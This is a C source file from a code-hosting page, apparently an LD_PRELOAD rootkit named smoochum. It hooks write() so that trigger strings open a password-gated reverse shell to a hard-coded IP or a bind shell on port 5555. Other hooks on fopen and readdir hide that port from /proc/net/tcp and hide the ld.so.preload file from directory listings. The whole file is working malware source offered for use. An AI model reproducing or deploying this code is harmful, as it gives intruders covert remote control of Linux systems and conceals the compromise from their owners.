-
Notifications
You must be signed in to change notification settings - Fork 0
/
smoochum.c
286 lines (247 loc) · 6.57 KB
/
smoochum.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
//libraries
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#define REVTRIGGER "plsrev" // presence of this string will trigger the REV Shell
#define BINDTRIGGER "plsbind" // presence of this string will trigger the BIND Shell
#define PASS "letmein" // password for shell access
#define PORT "5555" // port to listen on / connect to
#define HEXPORT "15B3" // hex value reflected in netstat
#define FILENAME "ld.so.preload"
#define IP "10.2.148.1" // IP to connect to
/* I KEEP FORGETING THIS :
struct addrinfo {
int ai_flags; // AI_PASSIVE, AI_CANONNAME, etc.
int ai_family; // AF_INET, AF_INET6, AF_UNSPEC
int ai_socktype; // SOCK_STREAM, SOCK_DGRAM
int ai_protocol; // use 0 for "any"
size_t ai_addrlen; // size of ai_addr in bytes
struct sockaddr *ai_addr; // struct sockaddr_in or _in6
char *ai_canonname; // full canonical hostname
struct addrinfo *ai_next; // linked list, next node
};
int getaddrinfo(const char *node, // e.g. "www.example.com" or IP
const char *service, // e.g. "http" or port number
const struct addrinfo *hints,
struct addrinfo **res);
*/
int ip_rev(void)
{
int s;
if((s=socket(AF_INET,SOCK_STREAM,0))==-1)
{
//perror("[-] Error Creating Socket Descriptor\n");
return -1;
}
int optval=1;
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&optval,sizeof(optval))==-1)
{
//perror("[-] Error in setsockopt()\n");
return -2;
}
struct addrinfo hints, *res;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC; // use IPv4 or IPv6, whichever
hints.ai_socktype = SOCK_STREAM;
getaddrinfo(IP, PORT, &hints, &res);
int flag =0;
while(connect(s,res->ai_addr,res->ai_addrlen) != 0)
{
sleep(1);
flag = flag+1;
if(flag > 5)
return -3;
}
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
char input[30];
read(s, input, sizeof(input)); // Read Input Stream For Password
if (strncmp(input,PASS,strlen(PASS))==0)
{
char *shell[2];
shell[0]="/bin/sh";
shell[1]=NULL;
execve(shell[0],shell, NULL); // Call Our Shell
close(s);
return 0;
}
else
{
shutdown(s,SHUT_RDWR); // Shutdown Further R/W Operation From Client
close(s);
return -4;
}
}
int ip_bind(void)
{
int s;
if ((s=socket(AF_INET,SOCK_STREAM,0))==-1) // Create Socket FD
{
//perror("[-] Error Creating Socket Descriptor\n");
return -1;
}
int optval=1;
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&optval,sizeof(optval))==-1) // Allow reusability of the socket
{
//perror("[-] Error in setsockopt()\n");
return -2;
}
struct addrinfo hints, *res;
memset(&hints, 0, sizeof(hints)); // Zero out the garbage values in memory
hints.ai_family = AF_UNSPEC; // Use IPv4 or IPv6, whichever
hints.ai_socktype = SOCK_STREAM; // TCP
hints.ai_flags = AI_PASSIVE; // Fill in my IP for me
getaddrinfo(NULL, PORT, &hints, &res); // Fill the structure
if((bind(s,res->ai_addr,res->ai_addrlen))==-1)
{
//perror("[+] Failed To Bind Port \n");
return -3;
}
if(listen(s,5) == -1) // Listen On The Specified Port With a backlog of 5
{
//perror("[-] Could Not Listen\n");
return -4;
}
int conn_fd; // FD for client connections
// accept(sock, (struct sockaddr *) &client_address, &client_length); can also be done but I dont want my IP to be known to the server
conn_fd = accept(s, NULL, NULL);
if(conn_fd == -1)
{
//perror("[-] Could Not Accept Connection\n");
exit(-5);
}
dup2(conn_fd, 0);
dup2(conn_fd, 1);
dup2(conn_fd, 2);
char input[30];
read(conn_fd, input, sizeof(input)); // Read Input Stream For Password
if (strncmp(input,PASS,strlen(PASS))==0)
{
char *shell[2];
shell[0]="/bin/sh";
shell[1]=NULL;
execve(shell[0],shell, NULL); // Call Our Shell
close(s);
return 0;
}
else
{
shutdown(conn_fd,SHUT_RDWR); // Shutdown Further R/W Operation From Client
close(s);
return -5;
}
}
ssize_t write(int fildes, const void *buf, size_t nbytes) // From Manual
{
ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes); // Create A New Function Pointer
ssize_t result;
new_write = dlsym(RTLD_NEXT, "write"); // Find the next occurrence of the desired symbol in the search order after the current object
if (strstr(buf,BINDTRIGGER) != NULL) // Check If A Particular String Is Present In The ind Shell And Trigger Accordingly
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes,buf,nbytes);
ip_bind();
}
else if(strstr(buf,REVTRIGGER) != NULL)
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes,buf,nbytes);
ip_rev();
}
else
{
result = new_write(fildes, buf, nbytes);
}
return result;
}
FILE *fopen(const char *pathname, const char *mode)
{
FILE *(*orig_fopen)(const char *pathname, const char *mode);
orig_fopen=dlsym(RTLD_NEXT,"fopen");
char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
FILE *fp;
if (ptr_tcp != NULL)
{
char line[256];
FILE *temp = tmpfile();
fp = orig_fopen(pathname, mode);
while (fgets(line, sizeof(line), fp))
{
char *listener = strstr(line, HEXPORT);
if (listener != NULL)
{
continue;
}
else
{
fputs(line, temp);
}
}
return temp;
}
fp = orig_fopen(pathname, mode);
return fp;
}
FILE *fopen64(const char *pathname, const char *mode)
{
FILE *(*orig_fopen64)(const char *pathname, const char *mode);
orig_fopen64=dlsym(RTLD_NEXT,"fopen64");
char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
FILE *fp;
if (ptr_tcp != NULL)
{
char line[256];
FILE *temp64 = tmpfile64();
fp = orig_fopen64(pathname, mode);
while (fgets(line, sizeof(line), fp))
{
char *listener = strstr(line, HEXPORT);
if (listener != NULL)
{
continue;
}
else
{
fputs(line, temp64);
}
}
return temp64;
}
fp = orig_fopen64(pathname, mode);
return fp;
}
struct dirent *readdir(DIR *dirp)
{
struct dirent *(*new_readdir)(DIR *dir);
new_readdir=dlsym(RTLD_NEXT,"readdir");
struct dirent *olddir;
while(olddir = new_readdir(dirp))
{
if(strstr(olddir->d_name,FILENAME) == 0)
break;
}
return olddir;
}
struct dirent64 *readdir64(DIR *dirp)
{
struct dirent64 *(*new_readdir64)(DIR *dir);
new_readdir64=dlsym(RTLD_NEXT,"readdir64");
struct dirent64 *olddir;
while(olddir = new_readdir64(dirp))
{
if(strstr(olddir->d_name,FILENAME) == 0)
break;
}
return olddir;
}